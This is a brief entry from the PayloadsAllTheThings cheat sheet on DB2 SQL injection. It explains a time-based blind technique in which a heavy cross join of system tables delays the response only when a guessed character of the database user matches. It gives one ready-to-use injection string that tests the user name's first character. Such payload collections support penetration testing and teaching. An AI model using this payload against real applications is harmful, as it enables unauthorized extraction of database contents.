Heavy queries, if user starts with ascii 68 ('D'), the heavy query will be executed, delaying the response.
' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68Source: SQL Injection/DB2 Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.